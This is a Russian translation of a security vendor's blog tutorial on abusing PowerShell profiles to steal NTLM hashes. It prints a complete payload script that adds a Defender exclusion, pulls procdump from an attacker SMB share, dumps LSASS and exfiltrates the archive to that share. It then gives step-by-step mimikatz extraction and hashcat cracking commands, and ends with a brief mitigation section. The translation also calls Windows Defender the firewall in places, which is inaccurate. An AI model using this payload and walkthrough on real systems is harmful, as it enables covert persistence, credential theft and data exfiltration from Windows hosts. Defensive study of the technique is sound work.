Pull to refresh
0
Varonis Systems
Защита от внутренних угроз и комплексных кибератак

Извлечение хэша NTLM с помощью профилей PowerShell

Reading time8 min
Views12K
Original author: Tokyoneon

Метод повышения привилегий, продемонстрированный в этой статье, является вариантом, используемым шпионскими группами. В нем описывается возможность использования злоумышленниками встроенных функций PowerShell для выполнения произвольных команд в контексте с повышенными правами (правами Администратора). Ниже приведена демонстрация извлечения хэшей NTLM.

Согласно определению фреймворка MITRE ATT&CK:

Действие-инициируемое событием: Злоумышленники могут получить доступ внутрь инфраструктуры и повысить привилегии, исполняя вредоносный контент, запускаемый профилями PowerShell. Профиль PowerShell (profile.ps1) — это скрипт, который запускается при запуске PowerShell и может использоваться в качестве скрипта входа в систему для настройки пользовательских сред… Злоумышленники могут изменять эти профили для включения произвольных команд, функций, модулей и / или дисков PowerShell для сохранения своего присутствия внутри инфраструктуры.

Как происходит атака


В приведенном ниже примере ничего не подозревающий пользователь запускает PowerShell с правами локального администратора.

windows powershell admin screen capture


Сессия не кажется необычной для пользователя. Но после изучения профиля PowerShell мы видим хешированные пароли, отправленные на сервер злоумышленника. Атака полностью прозрачна для данного пользователя.

Идеальные условия для этой атаки:

  • Привилегии локального администратора: с учетными записями локального администратора сессии PowerShell запускаются с низкими привилегиями, а с помощью прав администратора предоставляется общий доступ к profile.ps1. Злоумышленник с удаленным доступом может использовать файл profile.ps1, выполняемый в сессии Администратора PowerShell.
  • Разрешительные политики выполнения PowerShell: Execution Policy в итоге определит, возможна ли атака. Если выполнение скриптов разрешено, то файл profile.ps1 будет выполняться только в сессии администратора PowerShell.

Топология сети включает компьютер с Windows 10 и Kali Linux, подключенный к одному маршрутизатору (как показано ниже):



Что такое PowerShell Execution Policies?


Как сказано в документации Microsoft:

Политика выполнения PowerShell — это функция безопасности, которая контролирует условия, при которых PowerShell загружает файлы конфигурации и запускает скрипты… Политика выполнения не является системой безопасности, которая ограничивает действия пользователя… Наоборот, политика выполнения помогает пользователям устанавливать базовые правила и оберегает их от случайного нарушения данных правил.

В Windows 10 значение «Undefined» установлено по умолчанию для каждой политики. Однако пользователи часто изменяют политики CurrentUser и LocalMachine, чтобы разрешить выполнение скриптов. Разрешающие политики, такие как RemoteSigned, Unrestricted или Bypass, в свою очередь, делают возможным повышение привилегий.

Используйте команду Get-ExecutionPolicy -List для просмотра текущих значений политик:

PS C:\Users\varonis> Get-ExecutionPolicy -List
        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process       Undefined
  CurrentUser       Undefined
 LocalMachine       RemoteSigned

Что такое профили PowerShell?


Профили PowerShell – это скрипты, которые выполняются в каждой новой сеcсии PowerShell. Сюда входят сессии PowerShell ISE и Visual Studio. Это удобный способ для пользователей и разработчиков загружать пользовательские функции и модули в новую PS сессию.

Возможно использовать переменную $PROFILE, чтобы просмотреть путь к профилю сессии:



Посмотрим содержимое файла с помощью команды Get-Content:
PS C:\Users\varonis> Get-Content $PROFILE

Если каталог не существует, злоумышленник может создать его как скрытую папку, чтобы избежать обнаружения:

PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"

Если файла PS1 не существует, его необходимо создать. Так как для сброса паролей требуются повышенные привилегии, это эффективный способ предотвратить выполнение полезной нагрузки в контекстах с низким уровнем привилегий.

PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE

screen capture of a PowerShell payload

На первый взгляд, это не кажется большой проблемой. Важно понимать, что злоумышленник может изменить файл, автоматически выполняемый при запуске сессии администратора PowerShell. Попробуйте заменить echo командой для отключения Брэндмауэра Windows или сброса паролей.

Проведение атаки


Давайте используем то, что мы знаем о профилях PowerShell, чтобы показать, как злоумышленник может извлекать хешированные пароли. Для этого, в Kali начните с создания рабочего каталога для хранения нескольких файлов.

tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare

Загрузите последнюю версию Procdump:

tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'

Разархивируйте запакованный файл, чтобы найти разные версии Procdump. Атака, описанная в этой статье, будет использовать procdump.exe:

tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip

Загрузите скрипт, который мы создали, и сохраните его с именем “payload”. Используйте команду ниже или возьмите ее на этом GitHub. Измените IP-адрес $server в “payload” на адрес вашей машины с Kali:
<stokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload

“Payload” содержит несколько простых команд. Командлет Add-MpPreference добавляет $env:TEMP в список исключений Брэндмауэра Windows. Это предотвратит обнаружение Брэндмаэром файла procdump.exe или дампа памяти LSASS. Действуя как альтернатива Invoke-WebRequest, esentutl.exe загрузит procdump.exe из SMB-шары злоумышленника. Procdump выполняет и сохраняет дамп LSASS в $ env:TEMP. Он заархивирован с помощью Compress-Archive и был украден на SMB-шару с помощью команды cp.

Для наглядности мы добавили к payload комментарии:

# an if statement to prevent the attack from executing without administrator privileges
if (whoami /groups | findstr /i "S-1-16-12288")
{
  # start the attack as a background processs to prevent the PS terminal from stalling when opened
  Start-Job {
    # where to write data during the attack?
    $temp = "$env:TEMP"
    # create path exclusion in Windows Defender to prevent procdump detection
    Add-MpPreference -ExclusionPath $temp
    
    # sleep several seconds to allow the path exclusion to take effect
    Start-Sleep -s 4
    # the attacker's IP address
    $server = "192.168.56.101"
    # the attacker's SMB share name, must match impacket-smbserver share name
    $share = "evilshare"
    # procdump filename as it appears on the attacker's SMB share
    $procdump = "procdump.exe"
    # procdump.exe is saved locally with a random string as the filename
    $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe'
    # the procdump output path when saved locally; shameless username plug
    $dump = "tokyoneon.dmp"
    # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating
    $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip"
    # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval
    esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o
    # execute procdump and dump LSASS memory
    & $temp\$filename -accepteula -ma lsass.exe $temp\$dump
    # suppress progress bar that appears in the terminal when compressing the dump
    $ProgressPreference = "SilentlyContinue"
    # compress the dump
    Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force
    # exfiltrate the compressed dump to the attacker's SMB share via cp
    cp $temp\$exfil \\$server\$share\$exfil } | Out-Null
}

Запустите impacket-smbserver для обработки полезной нагрузки и ожидания входящих дампов LSASS. Терминал должен оставаться открытым на время проведения атаки:

tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"




В Windows добавьте payload в соответствующий $PROFILE. Это можно сделать через обратный shell или бэкдор, но для простоты используйте терминал PS. Измените переменную $attacker в следующей команде IP-адрес Kali:
PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE



Когда жертва запускает новую сессию Администратора PowerShell, impacket-smbserver будет отображаться, как показано ниже:

screen capture of a PowerShell impacket-smbserver

В выводе impacket-smbserver появляются два отдельных приглашения «AUTHENTICATE_MESSAGE»: ОС жертвы, получающая файл procdump.exe, и сжатый дамп LSASS, доставленный на сервер. После второго сообщения подождите несколько секунд и дважды нажмите Ctrl + С, чтобы убить сервер Impacket. В текущем каталоге появится новый ZIP-файл. Разархивируйте его и найдите DMP-файл.

Извлечение хэшей паролей с помощью Mimikatz


Хешированные пароли в DMP-файле не читаются как открытый текст. Переместите DMP-файл на виртуальную машину Windows 10 с выключенным Брандмауэром Windows. Загрузите последнюю версию Mimikatz (mimikatz_trunk.zip) и сохраните ее в папке «Загрузки» в Windows.

Откройте терминал PowerShell и распакуйте ZIP с помощью следующей команды:

PS > Expand-Archive -Path $env:USERPROFILE\Dow
nloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz
Перейдите в каталог x64 и запустите mimikatz.exe:


PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe



Загрузите DMP данные в Mimikatz с помощью команды sekurlsa::minidump:
mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp

Воспользуйтесь командой sekurlsa::logonPasswords, чтобы извлечь хэши учетных данных. Обратите внимание на NTLM-хэш в строке 12:

mimikatz # sekurlsa::logonPasswords
Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump...
  1  Authentication Id : 0 ; 188563 (00000000:0002e093)
  2  Session           : Interactive from 1
  3  User Name         : varonis
  4  Domain            : DESKTOP-JI80T34
  5  Logon Server      : DESKTOP-JI80T34
  6  Logon Time        : 11/15/2020 9:56:57 PM
  7  SID               : S-1-5-21-3489785614-2607058550-4100802712-1001
  8          msv :
  9           [00000003] Primary
 10           * Username : varonis
 11           * Domain   : DESKTOP-JI80T34
 12           * NTLM     : 2ba9afd0306922f6aed8c6a2406ddab5
 13           * SHA1     : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f
 14          tspkg :
 15          wdigest :
 16           * Username : varonis
 17           * Domain   : DESKTOP-JI80T34
 18           * Password : (null)
 19          kerberos :
 20           * Username : varonis
 21           * Domain   : DESKTOP-JI80T34
 22           * Password : (null)
 23          ssp :
 24          credman :
 25          cloudap :
    
       ----- [truncated] -----
    
 59  Authentication Id : 0 ; 999 (00000000:000003e7)
 60  Session           : UndefinedLogonType from 0
 61  User Name         : DESKTOP-JI80T34$
 62  Domain            : WORKGROUP
 63  Logon Server      : (null)
 64  Logon Time        : 11/15/2020 9:56:50 PM
 65  SID               : S-1-5-18
 66          msv :
 67          tspkg :
 68          wdigest :
 69           * Username : DESKTOP-JI80T34$
 70           * Domain   : WORKGROUP
 71           * Password : (null)
 72          kerberos :
 73           * Username : desktop-ji80t34$
 74           * Domain   : WORKGROUP
 75           * Password : (null)
 76          ssp :
 77          credman :
 78          cloudap :
mimikatz #

Взлом NTLM-хэшей с помощью Hashcat


Теперь скажем пару слов о другом инструменте для тестирования на проникновение – Hashcat. Даже в 2020 году люди используют слабые пароли для защиты своих данных и учетных записей. Используя последнюю версию Hashcat и обычный графический процессор GTX 1060 потребовалась одна секунда, чтобы взломать хэш, содержащий семь символов.

tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l



Обнаружение и Устранение


В соответствии с рекомендациями MITRE ATT & CK Framework:
Отслеживайте местоположения профиля. Дополнительные меры также включают:
  • Подписание кода: принудительное выполнение только подписанных скриптов PowerShell. Подпишите профили, чтобы избежать их изменения;
  • Ограничение прав доступа для файлов и каталогов: если профили PowerShell могут быть изменены только определенными администраторами, это ограничит возможность для злоумышленников легко попадать и сохранять присутсвие на уровне пользователя;
  • Конфигурация ПО: не используйте профили PowerShell, если они не нужны. Используйте флаг -NoProfile при удаленном выполнении скриптов PowerShell, чтобы предотвратить запуск локальных профилей.

Заключение


Эта атака на NTLM-хэши иллюстрирует опасность чрезмерно разрешительной политики в сочетании с использованием учетных записей локальных администраторов. Также подробно описано, как злоумышленник может заставить администратора извлечь хэши NTLM, легко изменить полезные данные и повысить уровень привилегий до NT AUTHORITY \ SYSTEM с помощью PsExec. См. Дополнительные советы для пентестеров, использующих PowerShell.
Tags:
Hubs:
+2
Comments10

Articles

Information

Website
varonis.com
Registered
Founded
Employees
1,001–5,000 employees
Location
США